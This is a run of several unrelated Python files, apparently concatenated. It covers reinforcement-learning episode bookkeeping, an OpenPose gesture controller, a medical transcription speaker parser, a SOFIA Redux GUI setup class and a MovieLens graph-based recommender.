class Property(object):
    ID = "id"
    NAME_OF_SHEET = "nameOfSheet"
    NAME_OF_DB = "nameOfDatabase"
    CTYPE = "type"
    NAME = "name"


from tkinter import *
from PIL import Image, ImageTk

#propiedades de la ventana.
ventana = Tk()
ventana.title('Prueba Imagen')
ventana['bg'] = '#58d1c5'
ventana.geometry('500x500')

#creamos una variable para la imagen.
try:
    img = Image.open('../img/productos/caguamaMiler.jpg')
    img = img.resize((500, 500))  # Ajusta el tamaño de la imagen si es necesario
    img_tk = ImageTk.PhotoImage(img)
    resultado_label = Label(ventana, image=img_tk)
    resultado_label.place(x=10, y=200)
except:
    resultado_label = Label(ventana, text='error para todos')

resultado_label.pack()
ventana.mainloop()


import torch
import numpy as np

class SARD:
    def __init__(self, state, state_value, action, reward, done, action_log_prob, advantage=None):
        self.state = state
        self.state_value = state_value
        self.action = action
        self.reward = reward
        self.done = done
        self.action_log_prob = action_log_prob
        self.advantage = advantage
        self.target_value = None

    @staticmethod
    def sards2tensors(sards):
        states, actions, values, target_values, adv, old_log_policy = [list() for _ in range(6)]
        for sard in sards:
            states.append(sard.state)
            actions.append(sard.action)
            values.append(sard.state_value)
            target_values.append(sard.target_value)
            adv.append(sard.advantage)
            old_log_policy.append(sard.action_log_prob)
        states = torch.stack(states, dim=0)
        actions = torch.stack(actions, dim=0)
        values = torch.stack(values, dim=0)
        target_values = torch.stack(target_values, dim=0)
        adv = torch.stack(adv, dim=0)
        old_log_policy = torch.stack(old_log_policy, dim=0)
        return states, actions, values, target_values, adv, old_log_policy

class Episode:
    def __init__(self):
        self.sards = list()
        self.ep_reward = 0

    def __getitem__(self, idx):
        return self.sards[idx]

    def __len__(self):
        return len(self.sards)

    def add_sard(self, sard):
        self.sards.append(sard)
        self.ep_reward += 100 * self.sards[-1].reward

    def compute_advantages(self, l=0.95, gamma=0.99):
        run_adv = 0
        for t in reversed(range(len(self))):
            if self.sards[t].done:
                run_adv = self.sards[t].reward - self.sards[t].state_value
            else:
                sigma = self.sards[t].reward + gamma * self.sards[t + 1].state_value - self.sards[t].state_value
                run_adv = sigma + run_adv * gamma * l

            self.sards[t].advantage = run_adv
            self.sards[t].target_value = self.sards[t].state_value + run_adv

    def get_random_sards(self, n):
        if n < len(self):
            chosen_idx = np.random.choice(len(self.sards), n, replace=False)
            chosen_sards = [self.sards[i] for i in chosen_idx]
        else:
            chosen_sards = self.sards
        return chosen_sards

    @staticmethod
    def get_random_sard_from_episodes(episodes, per_episode_sards):
        sards = list()
        for episode in episodes:
            sards += episode.get_random_sards(per_episode_sards)
        sards = np.random.permutation(sards)
        return sards

    @staticmethod
    def permute_episodes(episodes):
        sards = list()
        for episode in episodes:
            sards += episode.sards
        sards = np.random.permutation(sards)
        return sards

    @staticmethod
    def get_episodes_stats(episodes):
        rewards, ls = list(), list()
        for episode in episodes:
            rewards.append(episode.ep_reward)
            ls.append(len(episode))
        stats = dict()
        stats['reward_mean'] = np.mean(rewards)
        stats['reward_std'] = np.std(rewards)
        stats['len_mean'] = np.mean(ls)
        stats['len_std'] = np.std(ls)
        return stats

    @staticmethod
    def show_episodes_stats(episodes):
        stats = Episode.get_episodes_stats(episodes)
        print("Reward mean: %.6f  |  Reward std: %.6f  |  Len mean: %.6f  |  Len std: %.6f" % \
              (stats["reward_mean"], stats["reward_std"], stats["len_mean"], stats["len_std"]))

    @staticmethod
    def average_stats_and_show(stats):
        rewards = list()
        lens = list()
        for s in stats:
            rewards.append(s['reward_mean'])
            lens.append(s['len_mean'])
        print("Reward mean: %.6f  |  Reward std: %.6f  |  Len mean: %.6f  |  Len std: %.6f" % \
              (np.mean(rewards), np.std(rewards), np.mean(lens), np.std(lens)))

class Sequence:
    def __init__(self):
        self.sards = list()
        self.ep_reward = 0
        self.ep_length = 0
        self.eps_l = list()
        self.eps_r = list()

    def __getitem__(self, idx):
        return self.sards[idx]

    def __len__(self):
        return len(self.sards)

    def add_sard(self, sard):
        self.sards.append(sard)
        self.ep_reward += 100 * self.sards[-1].reward
        self.ep_length += 1
        if self.sards[-1].done:
            self.eps_r.append(self.ep_reward)
            self.ep_reward = 0
            self.eps_l.append(self.ep_length)
            self.ep_length = 0

    def compute_advantages(self, l=0.95, gamma=0.99):
        advs = list()
        run_adv = 0
        for t in reversed(range(len(self))):
            if self.sards[t].done:
                run_adv = self.sards[t].reward - self.sards[t].state_value
            else:
                sigma = self.sards[t].reward + gamma * self.sards[t + 1].state_value - self.sards[t].state_value
                run_adv = sigma + run_adv * gamma * l

            self.sards[t].advantage = run_adv
            self.sards[t].target_value = self.sards[t].state_value + run_adv
            advs.append(run_adv)

        # adv_mean = np.mean(advs)
        # adv_std = np.std(advs)
        # for t in range(len(self)):
        #    self.sards[t].advantage = (self.sards[t].advantage - adv_mean) / adv_std

    def get_stats(self):
        stats = dict()
        stats['reward_mean'] = np.mean(self.eps_r)
        stats['reward_std'] = np.std(self.eps_r)
        stats['len_mean'] = np.mean(self.eps_l)
        stats['len_std'] = np.std(self.eps_l)
        return stats

    def show_stats(self):
        stats = self.get_stats()
        print("Reward mean: %.6f  |  Reward std: %.6f  |  Len mean: %.6f  |  Len std: %.6f" % \
              (stats["reward_mean"], stats["reward_std"], stats["len_mean"], stats["len_std"]))


import sys
import cv2
import os
from sys import platform
import argparse
import time

# Import Openpose (Windows)
dir_path = os.path.dirname(os.path.realpath(__file__))
try:
    # Windows Import(YOU HAVE TO CHANGE FOLDER WITH YOUR OPENPOSE PATH)
    sys.path.append('C:/Projects/openpose/build/python/openpose/Release/')
    os.environ['PATH']  = os.environ['PATH'] + ';'  + 'C:/Projects/openpose/build/x64/Release;' + 'C:/Projects/openpose/build/bin;'
    import pyopenpose as op
except ImportError as e:
    print(e)

params = dict()
params["model_folder"] = "C:/Projects/openpose/models/"

##reading keypoints
def getPoints(datum):
    getPoints.neck_x = datum.poseKeypoints[0,1,0]
    getPoints.neck_y = datum.poseKeypoints[0,1,1]
    getPoints.r_wrist_x = datum.poseKeypoints[0,4,0]
    getPoints.r_wrist_y = datum.poseKeypoints[0,4,1]
    getPoints.l_wrist_x = datum.poseKeypoints[0,7,0]
    getPoints.l_wrist_y = datum.poseKeypoints[0,7,1]
    getPoints.r_elbow_x = datum.poseKeypoints[0,3,0]
    getPoints.r_elbow_y = datum.poseKeypoints[0,3,1]
    getPoints.l_elbow_x = datum.poseKeypoints[0,6,0]
    getPoints.l_elbow_y = datum.poseKeypoints[0,6,1]
    getPoints.r_shoulder_x = datum.poseKeypoints[0,2,0]
    getPoints.r_shoulder_y = datum.poseKeypoints[0,2,1]
    getPoints.l_shoulder_x = datum.poseKeypoints[0,5,0]
    getPoints.l_shoulder_y = datum.poseKeypoints[0,5,1]
    getPoints.r_ear_x = datum.poseKeypoints[0,17,0]
    getPoints.r_ear_y = datum.poseKeypoints[0,17,1]
    getPoints.l_ear_X = datum.poseKeypoints[0,18,0]
    getPoints.l_ear_y = datum.poseKeypoints[0,18,1]

try:
    # Starting OpenPose
    opWrapper = op.WrapperPython()
    opWrapper.configure(params)
    opWrapper.start()
    # Read frames on webcam
    video=cv2.VideoCapture(0)
    ok, frame = video.read()
    # Process frames
    while True:
        start = time.time()
        datum = op.Datum()
        ok, frame = video.read()
        imageToProcess = frame
        datum.cvInputData = imageToProcess
        opWrapper.emplaceAndPop([datum])
        getPoints(datum)

        tPosition_forward= abs(getPoints.r_elbow_y - getPoints.r_shoulder_y)
        tPosition_backward= abs(getPoints.l_elbow_y - getPoints.l_shoulder_y)
        tPosition_right = abs(getPoints.r_wrist_y - getPoints.neck_y)
        tPosition_left = abs(getPoints.l_wrist_y - getPoints.neck_y)
        tPosition_throttle = abs(getPoints.neck_x - getPoints.r_wrist_x)

        if (tPosition_throttle<10):
            ters = abs(getPoints.r_wrist_y - getPoints.neck_y)
            throttle = ((abs(200-ters))/10)*2 # you can mapping from here
            print(throttle)
        if(tPosition_right<20):
            print('go right')
        if(tPosition_left < 20):
            print('go left')
        if(tPosition_forward < 20):
            print('go forward')
        if(tPosition_backward < 20):
            print('go backward')

        cv2.imshow("posestimation", datum.cvOutputData)
        end = time.time()
        seconds = end - start
        fps=1/seconds
        #print(fps)
        key = cv2.waitKey(15)
        if key == 27: break
    video.release()
    cv2.destroyAllWindows()
    print("Nice dance :).")
except Exception as e:
    print(e)
    sys.exit(-1)


"""
Parses the results from Amazon Transcribe Medical and returns
a transcript with individual speakers.
"""

import argparse
import json
import regex as re
import os
import copy

from utilities import *

def get_text_of_speaker_segment(speaker_segment, segments):
    for segment in segments:
        if ((segment['start_time'] == speaker_segment['start_time']) and
            (segment['end_time'] == speaker_segment['end_time'])):
            if len(segment['alternatives']) > 0:
                return segment['alternatives'][0]['transcript'], segment['alternatives'][0]['items']
    print("Cannot find text for speaker segment:", speaker_segment)

def determine_speakers(transcript):
    num_question_marks_spk_0 = sum(turn['text'].count('?') for turn in transcript if turn['speaker'] == 'spk_0')
    num_question_marks_spk_1 = sum(turn['text'].count('?') for turn in transcript if turn['speaker'] == 'spk_1')
    speaker_map = {
        "spk_0": "Doctor" if num_question_marks_spk_0 > num_question_marks_spk_1 else "Patient",
        "spk_1": "Doctor" if num_question_marks_spk_1 > num_question_marks_spk_0 else "Patient",
    }
    for turn in transcript:
        turn['speaker'] = speaker_map[turn['speaker']]
    return transcript

def move_unfinished_sentences(transcript):
    punct_chars = ['.', '!', '?']
    for idx, turn in enumerate(transcript):
        if len(turn['text']) == 0:
            continue
        last_char = turn['text'][-1]
        if last_char not in punct_chars: # If last sentence is only a partial sentence
            sentences = re.split(r'(\.|\!|\?)', turn['text'])
            if len(sentences) > 1: # If there's multiple sentences in this turn
                # Move last partial sentence to next turn's start
                if idx == len(transcript) - 1:
                    continue
                transcript[idx + 1]['text'] = (sentences[-1] + ' ' + transcript[idx + 1]['text']).strip()
                del sentences[-1]
                turn['text'] = ''.join(sentences).strip()
            else: # If there's only 1 sentence in this turn
                # Move next turn's first partial sentence to end of this turn
                if idx + 1 == len(transcript): # If there's no next turn, break
                    break
                next_turn_text = transcript[idx + 1]['text']
                if re.search(r'(\.|\!|\?)', next_turn_text) == None: # If next turn has only 1 sentence, continue
                    continue
                index_of_first_punct = min(next_turn_text.find(c) for c in punct_chars if c in next_turn_text)
                next_turn_first_sentence = next_turn_text[:(index_of_first_punct + 1)]
                turn['text'] += ' ' + next_turn_first_sentence
                transcript[idx + 1]['text'] = next_turn_text[(index_of_first_punct + 1):].strip()
    return transcript

def split_last_question(text):
    last_question_index = -1
    for idx, char in enumerate(text):
        if (last_question_index > 0) and (char in ['.', '!']):
            break
        if char == '?':
            last_question_index = idx
    if last_question_index >= 0: # If question mark found
        return text[:(last_question_index + 1)].strip(), text[(last_question_index + 1):].strip()
    else: # If not question mark found
        return text, ''

def split_last_statement(text):
    last_period_index = -1
    for idx, char in enumerate(text):
        if (last_period_index > 0) and (char == '?'):
            break
        if char in ['.', '!']:
            last_period_index = idx
    if last_period_index >= 0: # If period found
        return text[:(last_period_index + 1)].strip(), text[(last_period_index + 1):].strip()
    else: # If not question mark found
        return text, ''

def move_question_responses(transcript):
    new_transcript = []
    for turn in transcript:
        if turn['speaker'] == 'Doctor':
            current_speaker = 'Doctor'
            a, b = split_last_question(turn['text'])
            while b != '':
                new_transcript.append({
                    'speaker': current_speaker,
                    'text': a
                })
                if current_speaker == 'Patient':
                    current_speaker = 'Doctor'
                else:
                    current_speaker = 'Patient'
                if current_speaker == 'Patient':
                    a, b = split_last_statement(b)
                else:
                    a, b = split_last_question(b)
            new_transcript.append({
                'speaker': current_speaker,
                'text': a
            })
        else: # If patient
            if (len(new_transcript) > 0) and (new_transcript[-1]['speaker'] == 'Patient'):
                new_transcript[-1]['text'] += ' ' + turn['text']
            else:
                new_transcript.append(turn)
    return new_transcript

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--file", type=str, required=True)
    parser.add_argument("--output", type=str, required=True)
    args = parser.parse_args()

    with open(args.file, 'r') as f:
        response_file = json.load(f)

    speaker_segments = response_file['results']['speaker_labels']['segments']
    segments = response_file['results']['segments']

    transcript = []
    last_speaker = None

    for speaker_segment in speaker_segments:
        text, items = get_text_of_speaker_segment(speaker_segment, segments)
        speaker = speaker_segment['speaker_label']
        if last_speaker == speaker:
            transcript[-1]['text'] += ' ' + text
            transcript[-1]['items'] += items
        else:
            transcript.append({
                'speaker': speaker,
                'text': text,
                'items': items,
            })
            last_speaker = speaker

    original_transcript = copy.copy(transcript)
    transcript = determine_speakers(transcript)
    transcript = move_unfinished_sentences(transcript)
    # transcript = move_question_responses(transcript)

    print("CLEANED TRANSCRIPT")
    for turn in transcript:
        print()
        print("{}: {}".format(turn['speaker'], turn['text']))

    print()
    print("ORIGINAL TRANSCRIPT WITH PROBABILITIES")
    for turn in original_transcript:
        print("{}: ".format(turn['speaker']), end='')
        for item in turn['items']:
            print_conf(item['content'], float(item['confidence']), newline=False)
        print()
        print()

    with open(args.output, 'w') as outfile:
        json.dump({
            'transcript': transcript
        }, outfile, indent=4)


# Licensed under a 3-clause BSD style license - see LICENSE.rst

from logging import FileHandler

from sofia_redux.visualization import log
from sofia_redux.visualization.utils.logger \
    import StatusLogger, DialogLogger, StreamLogger

__all__ = ['Setup']

class Setup(object):
    """
    Setup GUI controls and callbacks.
    """

    def __init__(self, parent):
        """Initialize GUI setup."""
        self.parent = parent
        self.view = parent.view

    def setup_all(self):
        """Call all setup actions."""
        self.setup_menu_bar()
        self.setup_controls()
        self.setup_line_controls()
        self.setup_model_controls()
        self.setup_order_controls()
        self.setup_mouse_events()
        self.setup_signals()
        self.setup_messages()

    def setup_menu_bar(self):
        """Connect menu bar to callbacks."""
        # menu bar is still TBD
        self.view.menubar.hide()

    def setup_controls(self):
        """Connect control panel events to callbacks."""
        # default: hide a couple control panels
        # self.view.order_panel.hide()
        self.view.axis_panel.hide()
        self.view.plot_panel.hide()
        self.view.analysis_panel.hide()

        # order panel has TBD functionality; hide it for now
        # self.view.order_panel_frame.hide()

        # connect signals
        # self.view.hightlight_pane_checkbox.toggled.connect(
        #     self.view.toggle_pane_highlight)

        self.view.x_property_selector.activated.connect(self.view.set_field)
        self.view.y_property_selector.activated.connect(self.view.set_field)
        self.view.x_unit_selector.activated.connect(self.view.set_unit)
        self.view.y_unit_selector.activated.connect(self.view.set_unit)
        self.view.x_scale_linear_button.toggled.connect(self.view.set_scale)
        self.view.y_scale_linear_button.toggled.connect(self.view.set_scale)
        self.view.x_scale_log_button.toggled.connect(self.view.set_scale)
        self.view.y_scale_log_button.toggled.connect(self.view.set_scale)
        self.view.x_limit_min.editingFinished.connect(self.view.set_limits)
        self.view.x_limit_max.editingFinished.connect(self.view.set_limits)
        self.view.y_limit_min.editingFinished.connect(self.view.set_limits)
        self.view.y_limit_max.editingFinished.connect(self.view.set_limits)
        self.view.enable_overplot_checkbox.toggled.connect(
            self.view.toggle_overplot)
        self.view.axes_selector.currentIndexChanged.connect(
            self.view.update_controls)

        # zoom controls
        self.view.x_zoom_button.clicked.connect(
            lambda: self.view.start_selection('x_zoom'))
        self.view.y_zoom_button.clicked.connect(
            lambda: self.view.start_selection('y_zoom'))
        self.view.box_zoom_button.clicked.connect(
            lambda: self.view.start_selection('b_zoom'))
        self.view.reset_zoom_button.clicked.connect(
            self.view.reset_zoom)

        # panel collapsing
        self.view.collapse_controls_button.clicked.connect(
            self.view.toggle_controls)
        self.view.collapse_cursor_button.clicked.connect(
            self.view.toggle_cursor)
        self.view.collapse_file_choice_button.clicked.connect(
            self.view.toggle_file_panel)
        self.view.collapse_order_button.clicked.connect(
            self.view.toggle_order_panel)
        self.view.collapse_axis_button.clicked.connect(
            self.view.toggle_axis_panel)
        self.view.collapse_plot_button.clicked.connect(
            self.view.toggle_plot_panel)
        self.view.collapse_analysis_button.clicked.connect(
            self.view.toggle_analysis_panel)

        # cursor enabling
        self.view.cursor_checkbox.clicked.connect(
            self.view.enable_cursor_position)
        self.view.cursor_popout_button.clicked.connect(
            self.view.popout_cursor_position)

        # analysis
        self.view.open_fit_results_button.clicked.connect(
            self.view.open_fits_results)
        self.view.open_ref_data_button.clicked.connect(
            self.view.open_ref_data)

    def setup_line_controls(self):
        """Connect control panel to plot callbacks."""
        # pane controls
        self.view.add_pane_button.clicked.connect(self.view.add_pane)
        self.view.remove_pane_button.clicked.connect(self.view.remove_pane)

        # plot controls
        self.view.color_cycle_selector.currentTextChanged.connect(
            self.view.select_color_cycle)
        self.view.plot_type_selector.currentTextChanged.connect(
            self.view.select_plot_type)
        self.view.marker_checkbox.toggled.connect(
            self.view.toggle_markers)
        self.view.grid_checkbox.toggled.connect(
            self.view.toggle_grid)
        self.view.error_checkbox.toggled.connect(
            self.view.toggle_error)
        self.view.dark_mode_checkbox.toggled.connect(
            self.view.toggle_dark_mode)

    def setup_model_controls(self):
        """Connect control panel to model callbacks."""
        self.view.add_file_button.clicked.connect(self.parent.add_data)
        self.view.remove_file_button.clicked.connect(self.parent.remove_data)

    def setup_order_controls(self):
        """Connect order controls to view callbacks."""
        self.view.pane_selector.currentIndexChanged.connect(
            self.view.pane_order_selector_changed)
        self.view.all_panes_checkbox.stateChanged.connect(
            self.view.all_panes_checking)

        self.view.all_filenames_checkbox.stateChanged.connect(
            self.view.all_filenames_selection_changed)

        self.view.on_orders_selector.returnPressed.connect(
            self.view.on_orders_changed)
        self.view.all_enabled_orders_button.clicked.connect(
            self.view.enable_all_orders)

        self.view.off_orders_selector.returnPressed.connect(
            self.view.off_orders_changed)
        self.view.all_disabled_orders_button.clicked.connect(
            self.view.disable_all_orders)

        self.view.remove_file_from_pane_button.clicked.connect(
            self.view.remove_file_from_pane)

    def setup_mouse_events(self):
        """Connect mouse events to callbacks."""
        self.view.loaded_files_table.itemDoubleClicked.connect(
            self.parent.display_selected_model)
        self.view.figure_widget.canvas.mpl_connect(
            'button_press_event', self.view.figure_clicked)

    def setup_signals(self):
        """Connect signals to callbacks."""
        self.view.signals.atrophy.connect(self.view.atrophy)
        self.view.signals.atrophy_controls.connect(self.view.atrophy_controls)
        self.view.signals.atrophy_bg_full.connect(
            self.view.atrophy_background_full)
        self.view.signals.atrophy_bg_partial.connect(
            self.view.atrophy_background_partial)
        # self.view.signals.refresh_order_list.connect(
        #     self.view.refresh_order_list)
        self.view.signals.on_orders_changed.connect(
            self.view.on_orders_changed)
        self.view.signals.off_orders_changed.connect(
            self.view.off_orders_changed)

        self.view.signals.axis_limits_changed.connect(
            self.view.axis_limits_changed)
        self.view.signals.axis_scale_changed.connect(
            self.view.axis_scale_changed)
        self.view.signals.axis_unit_changed.connect(
            self.view.axis_unit_changed)
        self.view.signals.axis_field_changed.connect(
            self.view.axis_field_changed)
        self.view.filename_table.cellClicked.connect(
            self.view.filename_table_selection_changed)

        self.view.signals.current_pane_changed.connect(
            self.view.current_pane_changed)
        self.view.signals.model_selected.connect(
            self.parent.display_selected_model)
        self.view.signals.model_removed.connect(
            self.parent.remove_data)
        self.view.signals.end_zoom_mode.connect(
            self.view.clear_selection)
        self.view.signals.end_cursor_recording.connect(
            self.view.end_selection)
        self.view.signals.clear_fit.connect(self.view.clear_fit)
        self.view.signals.toggle_fit_visibility.connect(
            self.view.toggle_fit_visibility)
        self.view.signals.update_reference_lines.connect(
            self.view.update_reference_lines)
        self.view.signals.unload_reference_model.connect(
            self.view.unload_reference_model)
        self.view.signals.obtain_raw_model.connect(
            self.parent.get_model_backup)

    def setup_messages(self):
        """Add filters to pass log messages to GUI handlers."""

        # make sure terminal matches parent setting;
        # remove any old GUI or file handlers
        for hand in log.handlers:
            if isinstance(hand, StreamLogger):
                try:
                    hand.setLevel(self.parent.log_level)
                except ValueError:  # pragma: no cover
                    pass
            elif (isinstance(hand, StatusLogger)
                    or isinstance(hand, DialogLogger)
                    or isinstance(hand, FileHandler)):
                log.removeHandler(hand)

        # INFO goes to status bar
        logger = StatusLogger(self.view.statusbar)
        logger.setLevel('INFO')
        log.addHandler(logger)

        # WARNING/ERROR goes to dialog box
        logger = DialogLogger(self.view)
        logger.setLevel('WARNING')
        log.addHandler(logger)


"""
https://blog.csdn.net/hezuijiudexiaobai/article/details/104451980
MovieLens 1M 数据集
https://cloud.tencent.com/developer/article/1474293
利用 Python 分析 MovieLens 1M 数据集
https://blog.csdn.net/Sakura55/article/details/81364961?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3.no_search_link
项目实战----基于协同过滤的电影推荐系统
https://blog.csdn.net/qq_25948717/article/details/81839463
超级详细的协同过滤推荐系统+完整Python实现及结果

https://zhuanlan.zhihu.com/p/152005338
用Python实现基于物品的协同过滤（附代码）
"""

# 基础
import numpy as np # 处理数组
import pandas as pd # 读取数据&&DataFrame
import matplotlib.pyplot as plt # 制图
import seaborn as sns
from matplotlib import rcParams # 定义参数

import warnings
warnings.filterwarnings('ignore') # 忽略警告信息
np.set_printoptions(precision=4) # 小数点后
import pickle
import random
import queue

data_train = pd.read_excel('data_train.xlsx',engine='openpyxl')
data_test = pd.read_excel('data_test.xlsx',engine='openpyxl')
# data_train = data_train.drop_duplicates(subset=['user_id'], keep='first')
# data_test = data_test.drop_duplicates(subset=['user_id'], keep='first')

#对属性进行改名，增加属性名字

data_train['user_id'] = data_train['user_id'].map(lambda x:'user_id#'+str(x))
data_test['user_id'] = data_test['user_id'].map(lambda x:'user_id#'+str(x))

data_train['movie_id'] = data_train['movie_id'].map(lambda x:'movie_id#'+str(x))
data_test['movie_id'] = data_test['movie_id'].map(lambda x:'movie_id#'+str(x))

data_train['gender'] = data_train['gender'].map(lambda x:'gender#'+str(x))
data_test['gender'] = data_test['gender'].map(lambda x:'gender#'+str(x))

data_train['age'] = data_train['age'].map(lambda x:'age#'+str(x))
data_test['age'] = data_test['age'].map(lambda x:'age#'+str(x))

data_train['occupation'] = data_train['occupation'].map(lambda x:'occupation#'+str(x))
data_test['occupation'] = data_test['occupation'].map(lambda x:'occupation#'+str(x))

data_train['zip'] = data_train['zip'].map(lambda x:'zip#'+str(x))
data_test['zip'] = data_test['zip'].map(lambda x:'zip#'+str(x))

data_train['year'] = data_train['year'].map(lambda x:'year#'+str(x))
data_test['year'] = data_test['year'].map(lambda x:'year#'+str(x))

data_train['genres'] = data_train['genres'].map(lambda x:'genres#'+str(x).split('|')[0])
data_test['genres'] = data_test['genres'].map(lambda x:'genres#'+str(x).split('|')[0])

user_list = list(data_train['movie_id'].unique())
product_list = list(data_train['movie_id'].unique())
gender_list =  list(data_train['gender'].unique())
age_list =  list(data_train['age'].unique())
occupation_list =  list(data_train['occupation'].unique())
zip_list =  list(data_train['zip'].unique())
year_list =  list(data_train['year'].unique())

##################构建共现矩阵
# pp_graph = dict()
# df_tmp = data_train[data_train['label']==1].head(1)
# user_cols = ['gender','age','occupation','zip']
# movie_cols = ['year''genres']
#
# all_cols = ['user_id','gender','age','occupation','zip','year','genres','movie_id']
# for col0 in all_cols[:-1]:
#     r_pid = df_tmp[col0].values[0]
#     pp_graph[r_pid] = dict()
#     for col1 in all_cols[1:]:
#         pid = df_tmp[col1].values[0]
#         if pid not in pp_graph[r_pid]:
#             pp_graph[r_pid][pid] = 1
#         else:
#             pp_graph[r_pid][pid] += 1
#
#         if pid not in pp_graph:
#             pp_graph[pid] = dict()
#         if r_pid not in pp_graph[pid]:
#             pp_graph[pid][r_pid] = 1
#         else:
#             pp_graph[pid][r_pid] += 1
# print('123')

pp_graph = dict()
def get_pp_graph1(df_tmp):
    ######item_bfs: hit1_rate= 0.1285  hit3_rate= 0.1844
    all_cols = ['user_id', 'gender', 'age', 'occupation', 'zip', 'year', 'genres', 'movie_id']
    for col0 in all_cols[:-1]:
        r_pid = df_tmp[col0].values[0]
        pp_graph[r_pid] = dict()
        for col1 in all_cols[1:]:
            pid = df_tmp[col1].values[0]
            if pid not in pp_graph[r_pid]:
                pp_graph[r_pid][pid] = 1
            else:
                pp_graph[r_pid][pid] += 1

            if pid not in pp_graph:
                pp_graph[pid] = dict()
            if r_pid not in pp_graph[pid]:
                pp_graph[pid][r_pid] = 1
            else:
                pp_graph[pid][r_pid] += 1

def get_pp_graph(df_tmp):
    ######item_bfs: hit1_rate= 0.1285  hit3_rate= 0.1844
    if df_tmp.shape[0] ==1:
        all_cols = ['user_id', 'gender', 'age', 'occupation', 'zip', 'year', 'genres', 'movie_id']
        for col0 in all_cols[:-1]:
            r_pid = df_tmp[col0].values[0]
            pp_graph[r_pid] = dict()
            for col1 in all_cols[1:]:
                pid = df_tmp[col1].values[0]
                if pid not in pp_graph[r_pid]:
                    pp_graph[r_pid][pid] = 1
                else:
                    pp_graph[r_pid][pid] += 1

                if pid not in pp_graph:
                    pp_graph[pid] = dict()
                if r_pid not in pp_graph[pid]:
                    pp_graph[pid][r_pid] = 1
                else:
                    pp_graph[pid][r_pid] += 1
    else:
        ######item_bfs: hit1_rate= 0.0615  hit3_rate= 0.162
        # for i in range(df_tmp.shape[0]-1):
        #     all_cols = ['user_id', 'gender', 'age', 'occupation', 'zip', 'year', 'genres', 'movie_id']
        #     for col0 in all_cols[:-1]:
        #         r_pid = df_tmp[col0].values[i]
        #         pp_graph[r_pid] = dict()
        #         for col1 in all_cols[1:]:
        #             pid = df_tmp[col1].values[i+1]
        #             if pid not in pp_graph[r_pid]:
        #                 pp_graph[r_pid][pid] = 1
        #             else:
        #                 pp_graph[r_pid][pid] += 1
        #
        #             if pid not in pp_graph:
        #                 pp_graph[pid] = dict()
        #             if r_pid not in pp_graph[pid]:
        #                 pp_graph[pid][r_pid] = 1
        #             else:
        #                 pp_graph[pid][r_pid] += 1

        for i in range(df_tmp.shape[0]):
            all_cols = ['user_id', 'gender', 'age', 'occupation', 'zip', 'year', 'genres', 'movie_id']
            for col0 in all_cols[:-1]:
                r_pid = df_tmp[col0].values[i]
                pp_graph[r_pid] = dict()
                for col1 in all_cols[1:]:
                    pid = df_tmp[col1].values[i]
                    if pid not in pp_graph[r_pid]:
                        pp_graph[r_pid][pid] = 1
                    else:
                        pp_graph[r_pid][pid] += 1

                    if pid not in pp_graph:
                        pp_graph[pid] = dict()
                    if r_pid not in pp_graph[pid]:
                        pp_graph[pid][r_pid] = 1
                    else:
                        pp_graph[pid][r_pid] += 1

tmp1 = data_train[data_train['label'] == 1].groupby('user_id').apply(get_pp_graph)

#计算item相似度
item_sim_dict = {}

def takeSecond(elem): # 获取列表的第二个元素
	return elem[1]

for i in range(len(product_list)):
	a = product_list[i]
	if a in pp_graph:
		item_sim_dict[a] = []
		print('###计算item=', a)
		for b,a_b_sim in pp_graph[a].items():
			item_sim_dict[a].append((b,a_b_sim))

		# 根据item相似度,由大到小排序
		item_sim_dict[a].sort(key=takeSecond, reverse=True)

def prune_the_graph(graph):
    """
    # 1，剪掉weight=1的边
    2，剪掉自己到自己的边
    # 3，weight平滑化 (为了凸显不同数据类型的权重，不需要做平滑化)
    """
    vertex = set()
    g = dict()
    for p_i, p_j_set in graph.items():
        vertex.add(p_i)
        g[p_i] = dict()
        for p_j, w in p_j_set.items():
            if p_i == p_j:
                continue
            else:
                g[p_i][p_j] = w
            # if w == 1:
            #     g[p_i][p_j] = 0.1
            # else:
            #     g[p_i][p_j] = round(log(w, 2), 3)
            vertex.add(p_j)
        if not g[p_i]:
            del g[p_i]
    return g, list(vertex)

def bfs_rank(root, pp_graph, max_count=500): #root为目标商品，要对目标商品召回1000个
    res_dict = dict()
    q = queue.Queue()
    q_set = set()       # q的集合形式，用于判断新元素是否已经存在于队列中
    # 初始化
    p_dict = pp_graph[root] #对有向共现矩阵（邻接表）,取出目标商品的带权重邻居表——》问题：如果某个目标sku，不在图r_pid中怎么办？冷启动解决
    sorted_list = sorted(p_dict.items(), key=lambda x: x[1], reverse=True) #根据权重排序,整理邻居
    sum_w = 0
    for i, w in sorted_list: #i是邻居(召回商品id),w是邻居权重（就是边）
        sum_w += w
    for i, w in sorted_list:
        if i not in q_set: #如果是未访问过的顶点(召回商品)
            q.put((i, w/sum_w)) #作为节点进入队列,用于做下一层的节点搜索的父节点
            q_set.add(i)
    for i, w in sorted_list:
        res_dict[i] = w / sum_w  #取目标商品root的第一层子节点

    while len(res_dict) < max_count and not q.empty(): #如果不够，取第二层子节点
        p, w0 = q.get()
        if p not in pp_graph: #第一层子节点如果没有子节点，跳过
            continue
        p_dict = pp_graph[p] #取出第一层子节点的子节点
        sorted_list = sorted(p_dict.items(), key=lambda x: x[1], reverse=True)
        sum_w = 0
        for i, w in sorted_list:
            sum_w += w
        for i, w in sorted_list:
            if i not in q_set:#未访问过的顶点(召回商品)
                q.put((i, w/sum_w))
                q_set.add(i)
        for i, w in sorted_list:
            if i not in res_dict:#未访问过的顶点
                res_dict[i] = (w / sum_w) * w0
            else: #已经访问过的顶点，累加权重——》入度越多，出度和越小——》这个点越重要
                res_dict[i] += (w / sum_w) * w0
    sorted_dict = dict()
    sorted_dict[root] = sorted(res_dict.items(), key=lambda x: x[1], reverse=True)[:10000]

    pids_recall = []
    for pid_recall,w in sorted_dict[root]:
        if pid_recall in  product_list: #只保留电影id
            pids_recall.append((pid_recall,round(w,5)))
    return pids_recall

    # str_list = list()
    # sorted_dict = sorted(res_dict.items(), key=lambda x: x[1], reverse=True)[:200]
    # for ele in sorted_dict: #排序取前面的200个 问题：如果上面取完，还是不够200个怎么办，为了避免过少，直接过滤掉少于50个召回结果的商品
    #     str_list.append(str(ele[0]) + '|' + str(round(ele[1], 4)))
    # str_t = ' '.join(str_list)
    # return str(root) + ',' + str_t

G, vertex = prune_the_graph(pp_graph)
top_prods = list(G.keys())

item_sim_dict = {}
